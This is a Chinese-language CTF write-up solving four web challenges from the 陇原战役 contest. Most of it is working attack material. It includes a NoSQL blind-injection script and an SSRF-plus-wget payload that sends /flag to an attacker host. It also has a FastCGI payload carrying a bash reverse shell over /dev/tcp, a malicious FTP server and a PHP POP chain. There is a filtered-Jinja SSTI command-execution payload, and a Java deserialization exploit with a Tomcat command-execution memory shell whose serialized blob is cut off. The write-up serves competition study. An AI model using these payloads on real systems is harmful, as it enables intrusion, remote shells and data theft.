陇原战役 Web题目WriteUP WP CTF竞赛

大家还记得上此次的陇原战役比赛么?今天给大家分享一下上次比赛的Web题目WriteUP!!

Web

CheckIn

审计源码:

package main
​
import (
    "fmt"
    "io"
    "time"
    "bytes"
    "regexp"
    "os/exec"
    "plugin"
    "gopkg.in/mgo.v2"
    "gopkg.in/mgo.v2/bson"
    "github.com/gin-contrib/sessions"
    "github.com/gin-gonic/gin"
    "github.com/gin-contrib/sessions/cookie"
    "github.com/gin-contrib/multitemplate"
    "net/http"
)
​
​
type Url struct {
    Url string `json:"url" binding:"required"`
}
​
type User struct {
    Username string
    Password string
}
​
const MOGODB_URI = "127.0.0.1:27017"
​
​
func MiddleWare() gin.HandlerFunc {
    return func(c *gin.Context) {
        session := sessions.Default(c)
​
        if session.Get("username") == nil || session.Get("password") != os.Getenv("ADMIN_PASS") {
            c.Header("Content-Type", "text/html; charset=utf-8")
            c.String(200, "<script>alert('You are not admin!');window.location.href='/login'</script>")
            return
        }
​
        c.Next()
    }
}
​
​
func loginController(c *gin.Context) {
​
    session := sessions.Default(c)
    if session.Get("username") != nil {
        c.Redirect(http.StatusFound, "/home")
        return
    }
    
    username := c.PostForm("username")
    password := c.PostForm("password")
​
    if username == "" || password == "" {
        c.Header("Content-Type", "text/html; charset=utf-8")
        c.String(200, "<script>alert('The username or password is empty');window.location.href='/login'</script>")
        return
    }
​
    conn, err := mgo.Dial(MOGODB_URI)
    if err != nil {
        panic(err)
    }
​
    defer conn.Close()
    conn.SetMode(mgo.Monotonic, true)
​
    db_table := conn.DB("ctf").C("users")
    result := User{}
    err = db_table.Find(bson.M{"$where":"function() {if(this.username == '"+username+"' && this.password == '"+password+"') {return true;}}"}).One(&result)
​
    if result.Username == "" {
        c.Header("Content-Type", "text/html; charset=utf-8")
        c.String(200, "<script>alert('Login Failed!');window.location.href='/login'</script>")
        return
    }
​
    if username == result.Username || password == result.Password {
        session.Set("username", username)
        session.Set("password", password)
        session.Save()
        c.Redirect(http.StatusFound, "/home")
        return
    } else {
        c.Header("Content-Type", "text/html; charset=utf-8")
        c.String(200, "<script>alert('Pretend you logged in successfully');window.location.href='/login'</script>")
        return
    }
}
​
​
​
func proxyController(c *gin.Context) {
    
    var url Url
    if err := c.ShouldBindJSON(&url); err != nil {
        c.JSON(500, gin.H{"msg": err})
        return
    }
    
    re := regexp.MustCompile("127.0.0.1|0.0.0.0|06433|0x|0177|localhost|ffff")
    if re.MatchString(url.Url) {
        c.JSON(403, gin.H{"msg": "Url Forbidden"})
        return
    }
    
    client := &http.Client{Timeout: 2 * time.Second}
​
    resp, err := client.Get(url.Url)
    if err != nil {
        c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
        return
    }
    defer resp.Body.Close()
    var buffer [512]byte
    result := bytes.NewBuffer(nil)
    for {
        n, err := resp.Body.Read(buffer[0:])
        result.Write(buffer[0:n])
        if err != nil && err == io.EOF {
​
            break
        } else if err != nil {
            c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
            return
        }
    }
    c.JSON(http.StatusOK, gin.H{"data": result.String()})
}
​
​
​
func getController(c *gin.Context) {
​
​
​
    cmd := exec.Command("/bin/wget", c.QueryArray("argv")[1:]...)
    err := cmd.Run()
    if err != nil {
        fmt.Println("error: ", err)
    }
    
    c.String(http.StatusOK, "Nothing")
}
​
​
​
​
func createMyRender() multitemplate.Renderer {
    r := multitemplate.NewRenderer()
    r.AddFromFiles("login", "templates/layouts/base.tmpl", "templates/layouts/login.tmpl")
    r.AddFromFiles("home", "templates/layouts/home.tmpl", "templates/layouts/home.tmpl")
    return r
}
​
​
func main() {
    router := gin.Default()
    router.Static("/static", "./static")
​
    p, err := plugin.Open("sess_init.so")
    if err != nil {
        panic(err)
    }
​
    f, err := p.Lookup("Sessinit")
    if err != nil {
        panic(err)
    }
    key := f.(func() string)()
​
    storage := cookie.NewStore([]byte(key))
    router.Use(sessions.Sessions("mysession", storage))
    router.HTMLRender = createMyRender()
    router.MaxMultipartMemory = 8 << 20
​
    router.GET("/", func(c *gin.Context) {
        session := sessions.Default(c)
        if session.Get("username") != nil {
            c.Redirect(http.StatusFound, "/home")  
            return
        } else {
            c.Redirect(http.StatusFound, "/login")  
            return
        }
    })
​
    router.GET("/login", func(c *gin.Context) {
        session := sessions.Default(c)
        if session.Get("username") != nil {
            c.Redirect(http.StatusFound, "/home")  
            return
        }
        c.HTML(200, "login", gin.H{
            "title": "CheckIn",
        })
    })
​
    router.GET("/home", MiddleWare(), func(c *gin.Context) {
        c.HTML(200, "home", gin.H{
            "title": "CheckIn",
        })
    })
​
    router.POST("/proxy", MiddleWare(), proxyController)
    router.GET("/wget", getController)
    router.POST("/login", loginController)
​
    _ = router.Run("0.0.0.0:8080") // listen and serve on 0.0.0.0:8080
​

审计源码我们可知,存在nosql注入,编写脚本盲注admin的密码:

import requests
​
url = "http://47.117.125.220:8081/login"
​
headers = {
    "Content-Type": "application/x-www-form-urlencoded"
}
​
strings = "1234567890abcdefghijklmnopqrstuvwxyz"
​
res = ""
for i in range(len(res) + 1, 40):
    if len(res) == i - 1:
        for c in strings:
            data = {
                "username": "admin'&&this.password.substr(-" + str(i) + ")=='" + str(c + res) + "') {return true;}})//",
                "password": "123456"
            }
            r = requests.post(url=url, headers=headers, data=data)
            if "Pretend" in r.text:
                res = c + res
                print("[+] " + res)
                break
    else:
        print("[-] Failed")
        break

得到admin的明文密码为:

54a83850073b0f4c6862d5a1d48ea84f

然后直接登陆admin:

然后发现 /proxy 路由存在 ssrf:

func proxyController(c *gin.Context) {
    
    var url Url
    if err := c.ShouldBindJSON(&url); err != nil {
        c.JSON(500, gin.H{"msg": err})
        return
    }
    
    re := regexp.MustCompile("127.0.0.1|0.0.0.0|06433|0x|0177|localhost|ffff")
    if re.MatchString(url.Url) {
        c.JSON(403, gin.H{"msg": "Url Forbidden"})
        return
    }
    
    client := &http.Client{Timeout: 2 * time.Second}
​
    resp, err := client.Get(url.Url)
    if err != nil {
        c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
        return
    }
    defer resp.Body.Close()
    var buffer [512]byte
    result := bytes.NewBuffer(nil)
    for {
        n, err := resp.Body.Read(buffer[0:])
        result.Write(buffer[0:n])
        if err != nil && err == io.EOF {
​
            break
        } else if err != nil {
            c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
            return
        }
    }
    c.JSON(http.StatusOK, gin.H{"data": result.String()})
}

可以访问使用[::]绕过对127.0.0.1的限制然后访问内网。

并且 /wget 路由可以调用 wget 来发送请求,并且我们对其参数可控,那我们可以传入恶意的参数来获取服务器上的文件并外带出来。

所以最终的 payload 如下:

POST: /proxy
​
{"url":"http://[::]:8080/wget?argv=-e+http_proxy=http://47.xxx.xxx.220:2333&argv=--method=POST&argv=--body-file=/flag&argv=http://47.xxx.xxx.220:2333"}

如下图,得到flag:

EaaasyPHP

题目给了源码:

<?php
​
class Check {
    public static $str1 = false;
    public static $str2 = false;
}
​
​
class Esle {
    public function __wakeup()
    {
        Check::$str1 = true;
    }
}
​
​
class Hint {
​
    public function __wakeup(){
        $this->hint = "no hint";
    }
​
    public function __destruct(){
        if(!$this->hint){
            $this->hint = "phpinfo";
            ($this->hint)();
        }  
    }
}
​
​
class Bunny {
​
    public function __toString()
    {
        if (Check::$str2) {
            if(!$this->data){
                $this->data = $_REQUEST['data'];
            }
            file_put_contents($this->filename, $this->data);
        } else {
            throw new Error("Error");
        }
    }
}
​
class Welcome {
    public function __invoke()
    {
        Check::$str2 = true;
        return "Welcome" . $this->username;
    }
}
​
class Bypass {
​
    public function __destruct()
    {
        if (Check::$str1) {
            ($this->str4)();
        } else {
            throw new Error("Error");
        }
    }
}
​
if (isset($_GET['code'])) {
    unserialize($_GET['code']);
} else {
    highlight_file(__FILE__);
}

首先我们发现了file_put_contents,所以首先想到的是写文件,但是这里我做了权限设置,你写不了。

除此之外,我们发现还有一个 Hint 类:

class Hint {
​
    public function __wakeup(){
        $this->hint = "no hint";
    }
​
    public function __destruct(){
        if(!$this->hint){
            $this->hint = "phpinfo";
            ($this->hint)();
        }  
    }
}

我们尝试反序列化读取 phpinfo:

class Hint {
​
}
​
echo serialize(new Hint());
// O:4:"Hint":0:{}

发送payload发现执行不了:

这是因为__wakeup会比__destruct优先执行,所以我们要绕过这里的__wakeup,这里我们需要用“Serializable” 的特性绕过__wakeup,详情请看:PHP :: Bug #81151 :: bypass __wakeup

就是将 O 改为 C:

C:4:"Hint":0:{}

如下所示,成功执行 phpinfo:

并且发现当前环境为 FPM/FastCGI。

然后就是通过 file_put_contents 配合 ftp 打内网的fpm 了。

首先使用 Gopherus 生成 Payload:

%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH104%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00h%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/47.xxx.xxx.72/2333%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

然后在 VPS 上运行以下脚本,搭建一个恶意的 FTP 服务器:

# evil_ftp.py
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.bind(('0.0.0.0', 233))
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n') #STOR / (2)
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()

开启 nc 监听,等待反弹shell:

然后构造 pop 链触发 Bunny 类中的file_put_contents就行了:

<?php
​
class Check {
    public static $str1 = false;
    public static $str2 = false;
}
​
​
class Esle {
    public function __wakeup()
    {
        Check::$str1 = true;
    }
}
​
​
class Hint {
​
    public function __wakeup(){
        $this->hint = "no hint";
    }
​
    public function __destruct(){
        if(!$this->hint){
            $this->hint = "phpinfo";
            ($this->hint)();
        }  
    }
}
​
​
class Bunny {
​
    public function __toString()
    {
        if (Check::$str2) {
            if(!$this->data){
                $this->data = $_REQUEST['data'];
            }
            file_put_contents($this->filename, $this->data);
        } else {
            throw new Error("Error");
        }
    }
}
​
class Welcome {
    public function __invoke()
    {
        Check::$str2 = true;
        return "Welcome" . $this->username;
    }
}
​
class Bypass {
​
    public function __destruct()
    {
        if (Check::$str1) {
            ($this->str4)();
        } else {
            throw new Error("Error");
        }
    }
}
​
$esle = new Esle();   // 0
$poc = new Bypass();
$poc->str4 = new Welcome();
$poc->str4->username = new Bunny();
$poc->str4->username->filename = "ftp://aaa@47.117.125.220:233/123";
echo urlencode(serialize([$esle,$poc]));
​
// a%3A2%3A%7Bi%3A0%3BO%3A4%3A%22Esle%22%3A0%3A%7B%7Di%3A1%3BO%3A6%3A%22Bypass%22%3A1%3A%7Bs%3A4%3A%22str4%22%3BO%3A7%3A%22Welcome%22%3A1%3A%7Bs%3A8%3A%22username%22%3BO%3A5%3A%22Bunny%22%3A1%3A%7Bs%3A8%3A%22filename%22%3Bs%3A32%3A%22ftp%3A%2F%2Faaa%4047.xxx.xxx.220%3A233%2F123%22%3B%7D%7D%7D%7D

最后构造请求发送即可反弹shell了:

/?code=a%3A2%3A%7Bi%3A0%3BO%3A4%3A%22Esle%22%3A0%3A%7B%7Di%3A1%3BO%3A6%3A%22Bypass%22%3A1%3A%7Bs%3A4%3A%22str4%22%3BO%3A7%3A%22Welcome%22%3A1%3A%7Bs%3A8%3A%22username%22%3BO%3A5%3A%22Bunny%22%3A1%3A%7Bs%3A8%3A%22filename%22%3Bs%3A32%3A%22ftp%3A%2F%2Faaa%4047.xxx.xxx.220%3A233%2F123%22%3B%7D%7D%7D%7D&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH104%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00h%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/47.xxx.xxx.220/2333%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

成功得到flag。

MagicMail

进入题目,是一个可以发送邮件的页面:

发送之前需要去 Settings 中设置你的邮件服务器信息,只能设置host和port:

没法设置用户名和密码。我们可以在自己服务器上用python开一个smtp服务:

python3 -m smtpd -c DebuggingServer -n 0.0.0.0:2333

然后将你的ip和端口填入 settings 中即可:

此时便可以用 /home 路由处来发送邮件了。由于题目的环境是flask,所以我们可以在邮件的 text 中测试 ssti:

点击发送,此时你的服务器上便可拦截到发送的邮件信息:

解base64即可得到以下内容:

如上图可见,确实进行了 6*9 运算,所以确实存在ssti。并且我们可以通过 服务器外带来得到注入的结果。

经测试,题目针对ssti过滤了以下字符:

'class', 'mro', 'base', 'request', 'session', '+', 'add', 'chr', 'u', '.', 'ord', 'redirect', 'url_for', 'config', 'builtins', 'get_flashed_messages', 'get', 'subclasses', 'form', 'cookies', 'headers', '[', ']', '\'', ' ', '_'

相关绕过方法可以查看该文章:https://xz.aliyun.com/t/9584#toc-28

我们可以用 attr 配合 hex 编码键绕过,最终的 payload如下:

{{""|attr("\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f")|attr("\x5f\x5f\x62\x61\x73\x65\x5f\x5f")|attr("\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f")()|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")(137)|attr("\x5f\x5f\x69\x6e\x69\x74\x5f\x5f")|attr("\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f")|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")("popen")("ls\x20/")|attr("read")()}}

读取flag:

{{""|attr("\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f")|attr("\x5f\x5f\x62\x61\x73\x65\x5f\x5f")|attr("\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f")()|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")(137)|attr("\x5f\x5f\x69\x6e\x69\x74\x5f\x5f")|attr("\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f")|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")("popen")("cat\x20/flag")|attr("read")()}}

ezjaba

考察点:反序列化之后的利用,不出网回显。

注意/BackDoor路由有一个反序列化点的,本来想ban一些rome组件触发的类,结果没有ban完,导致hashset和hashtable可以来绕过直接,反序列化执行代码。

但是该题考察点是反序列化之后的利用,也就是添加了一个toString操作。

所以exp

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import javax.xml.transform.Templates;
import java.io.File;
import java.nio.file.Files;
​
public class exp {
    public static void main(String[] args) throws Exception {
        //TemplatesImpl templates = SerializeUtil.generateTemplatesImpl();
        byte[] bytecodes = Files.readAllBytes(new File("EvilClass.class").toPath());
        TemplatesImpl tmpl = SerializeUtil.generateTemplatesImpl(bytecodes);
        ObjectBean delegate = new ObjectBean(Templates.class, tmpl);
        System.out.println(tools.base64Encode(tools.serialize(delegate)));
    }
}

EvilClass.java

package com.tctffinal.demo.exp2;
​
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
​
public class EvilClass extends AbstractTranslet {
    public EvilClass() {
        try {
            java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context");
            java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service");
            java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req");
            java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);
            contextField.setAccessible(true);
            serviceField.setAccessible(true);
            requestField.setAccessible(true);
            getHandlerMethod.setAccessible(true);
            org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =
                    (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(webappClassLoaderBase.getResources().getContext());
            org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext);
            org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors();
            for (int i=0;i<connectors.length;i++) {
                if (4==connectors[i].getScheme().length()) {
                    org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler();
                    if (protocolHandler instanceof org.apache.coyote.http11.AbstractHttp11Protocol) {
                        Class[] classes = org.apache.coyote.AbstractProtocol.class.getDeclaredClasses();
                        for (int j = 0; j < classes.length; j++) {
                            if (52 == (classes[j].getName().length())||60 == (classes[j].getName().length())) {
                                java.lang.reflect.Field globalField = classes[j].getDeclaredField("global");
                                java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors");
                                globalField.setAccessible(true);
                                processorsField.setAccessible(true);
                                org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(protocolHandler,null));
                                java.util.List list = (java.util.List) processorsField.get(requestGroupInfo);
                                for (int k = 0; k < list.size(); k++) {
                                    org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(list.get(k));
                                    String cmd =tempRequest.getHeader("cmd");//cmd=whoami
                                    org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) tempRequest.getNote(1);
                                    String[] cmds = !System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
                                    java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                                    java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a");
                                    String output = s.hasNext() ? s.next() : "";
                                    java.io.Writer writer = request.getResponse().getWriter();
                                    java.lang.reflect.Field usingWriter = request.getResponse().getClass().getDeclaredField("usingWriter");
                                    usingWriter.setAccessible(true);
                                    usingWriter.set(request.getResponse(), Boolean.FALSE);
                                    writer.write(output);//输出
                                    writer.flush();
                                    break;
                                }
                                break;
                            }
                        }
                    }
                    break;
                }
            }
        }catch (Exception e){
        }
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
}
​

POST /BackDoor HTTP/1.1
Host: ip:port
cmd: cat /flag
Content-Type: application/x-www-form-urlencoded
Content-Length: 9646
​
ctf=rO0ABXNyAChjb20uc3VuLnN5bmRpY2F0aW9uLmZlZWQuaW1wbC5PYmplY3RCZWFugpkH3nYElEoCAANMAA5fY2xvbmVhYmxlQmVhbnQALUxjb20vc3VuL3N5bmRpY2F0aW9uL2ZlZWQvaW1wbC9DbG9uZWFibGVCZWFuO0wAC19lcXVhbHNCZWFudAAqTGNvbS9zdW4vc3luZGljYXRpb24vZmVlZC9pbXBsL0VxdWFsc0JlYW47TAANX3RvU3RyaW5nQmVhbnQALExjb20vc3VuL3N5bmRpY2F0aW9uL2ZlZWQvaW1wbC9Ub1N0cmluZ0JlYW47eHBzcgArY29tLnN1bi5zeW5kaWNhdGlvbi5mZWVkLmltcGwuQ2xvbmVhYmxlQmVhbt1hu8UzT2t3AgACTAARX2lnbm9yZVByb3BlcnRpZXN0AA9MamF2YS91dGlsL1NldDtMAARfb2JqdAASTGphdmEvbGFuZy9PYmplY3Q7eHBzcgAeamF2YS51dGlsLkNvbGxlY3Rpb25zJEVtcHR5U2V0FfVyHbQDyygCAAB4cHNyADpjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UZW1wbGF0ZXNJbXBsCVdPwW6sqzMDAAZJAA1faW5kZW50TnVtYmVySQAOX3RyYW5zbGV0SW5kZXhbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzdAASW0xqYXZhL2xhbmcvQ2xhc3M7TAAFX25hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX%2bAYIVOACAAB4cAAAGFjK/rq%2bAAAAMwE8CgBGAJ0HAJ4IAJ8KAKAAoQcAoggAowcApAgApQcApggApwoAoACoCgCpAKoKAKsAqgoArACtCgCsAK4HAK8KABAAsAsAsQCyCgCpALMHALQKABQAtQoAtgC3CgAtALgKALYAuQcAugoAoAC7CgCgALwIAL0HAL4IAL8KAKsAwAcAwQsAIADCCwAgAMMHAMQIAE4KACMAxQoAIwDGBwDHCADICgDJAMoKAC0AywgAzAoALQDNBwDOCADPCADQCADRCADSCgDTANQKANMA1QoA1gDXBwDYCgA1ANkIANoKADUA2woANQDcCgA1AN0IAN4KACcA3woA4ADhCgDiAOMIAFsJAOQA5QoAqQDmCgDnAOgKAOcA6QcA6gcA6wcA7AEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAt0ZW1wUmVxdWVzdAEAG0xvcmcvYXBhY2hlL2NveW90ZS9SZXF1ZXN0OwEAA2NtZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAB3JlcXVlc3QBACdMb3JnL2FwYWNoZS9jYXRhbGluYS9jb25uZWN0b3IvUmVxdWVzdDsBAARjbWRzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAAmluAQAVTGphdmEvaW8vSW5wdXRTdHJlYW07AQABcwEAE0xqYXZhL3V0aWwvU2Nhbm5lcjsBAAZvdXRwdXQBAAZ3cml0ZXIBABBMamF2YS9pby9Xcml0ZXI7AQALdXNpbmdXcml0ZXIBABlMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQABawEAAUkBAAtnbG9iYWxGaWVsZAEAD3Byb2Nlc3NvcnNGaWVsZAEAEHJlcXVlc3RHcm91cEluZm8BACRMb3JnL2FwYWNoZS9jb3lvdGUvUmVxdWVzdEdyb3VwSW5mbzsBAARsaXN0AQAQTGphdmEvdXRpbC9MaXN0OwEAAWoBAAdjbGFzc2VzAQASW0xqYXZhL2xhbmcvQ2xhc3M7AQAPcHJvdG9jb2xIYW5kbGVyAQAjTG9yZy9hcGFjaGUvY295b3RlL1Byb3RvY29sSGFuZGxlcjsBAAFpAQAMY29udGV4dEZpZWxkAQAMc2VydmljZUZpZWxkAQAMcmVxdWVzdEZpZWxkAQAQZ2V0SGFuZGxlck1ldGhvZAEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAVd2ViYXBwQ2xhc3NMb2FkZXJCYXNlAQAyTG9yZy9hcGFjaGUvY2F0YWxpbmEvbG9hZGVyL1dlYmFwcENsYXNzTG9hZGVyQmFzZTsBABJhcHBsaWNhdGlvbkNvbnRleHQBAC1Mb3JnL2FwYWNoZS9jYXRhbGluYS9jb3JlL0FwcGxpY2F0aW9uQ29udGV4dDsBAA9zdGFuZGFyZFNlcnZpY2UBACpMb3JnL2FwYWNoZS9jYXRhbGluYS9jb3JlL1N0YW5kYXJkU2VydmljZTsBAApjb25uZWN0b3JzAQAqW0xvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9Db25uZWN0b3I7AQAEdGhpcwEAI0xjb20vdGN0ZmZpbmFsL2RlbW8vZXhwMi9FdmlsQ2xhc3M7AQANU3RhY2tNYXBUYWJsZQcA6wcA7QcA7gcArwcAogcAtAcAdwcA7wcAZwcAvgcAwQcAxAcAzgcAxwcAUwcA8AcA2AcA6gEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwDxAQAQTWV0aG9kUGFyYW1ldGVycwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADkV2aWxDbGFzcy5qYXZhDABHAEgBAChvcmcvYXBhY2hlL2NhdGFsaW5hL2NvcmUvU3RhbmRhcmRDb250ZXh0AQAHY29udGV4dAcA8gwA8wD0AQArb3JnL2FwYWNoZS9jYXRhbGluYS9jb3JlL0FwcGxpY2F0aW9uQ29udGV4dAEAB3NlcnZpY2UBAB1vcmcvYXBhY2hlL2NveW90ZS9SZXF1ZXN0SW5mbwEAA3JlcQEAIm9yZy9hcGFjaGUvY295b3RlL0Fic3RyYWN0UHJvdG9jb2wBAApnZXRIYW5kbGVyDAD1APYHAO0MAPcA%2bAcA7gcA%2bQwA%2bgD7DAD8AP0BADBvcmcvYXBhY2hlL2NhdGFsaW5hL2xvYWRlci9XZWJhcHBDbGFzc0xvYWRlckJhc2UMAP4A/wcBAAwBAQECDAEDAQQBAChvcmcvYXBhY2hlL2NhdGFsaW5hL2NvcmUvU3RhbmRhcmRTZXJ2aWNlDAEFAQYHAQcMAQgBCQwBCgELDAEMAQ0BAC9vcmcvYXBhY2hlL2NveW90ZS9odHRwMTEvQWJzdHJhY3RIdHRwMTFQcm90b2NvbAwBDgEPDAEQAQkBAAZnbG9iYWwBACJvcmcvYXBhY2hlL2NveW90ZS9SZXF1ZXN0R3JvdXBJbmZvAQAKcHJvY2Vzc29ycwwBEQESAQAOamF2YS91dGlsL0xpc3QMARMBCwwBAwEUAQAZb3JnL2FwYWNoZS9jb3lvdGUvUmVxdWVzdAwBFQEWDAEXARQBACVvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXF1ZXN0AQAHb3MubmFtZQcBGAwBGQEWDAEaAQkBAAN3aW4MARsBHAEAEGphdmEvbGFuZy9TdHJpbmcBAAJzaAEAAi1jAQAHY21kLmV4ZQEAAi9jBwEdDAEeAR8MASABIQcBIgwBIwEkAQARamF2YS91dGlsL1NjYW5uZXIMAEcBJQEAAlxhDAEmAScMASgBKQwBKgEJAQAADAErASwHAS0MAS4BLwcBMAwBMQEyBwEzDAE0ATUMATYBNwcBOAwBOQE6DAE7AEgBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAhY29tL3RjdGZmaW5hbC9kZW1vL2V4cDIvRXZpbENsYXNzAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAhb3JnL2FwYWNoZS9jb3lvdGUvUHJvdG9jb2xIYW5kbGVyAQATamF2YS9pby9JbnB1dFN0cmVhbQEAOWNvbS9zdW4vb3JnL2FwYWNoZS94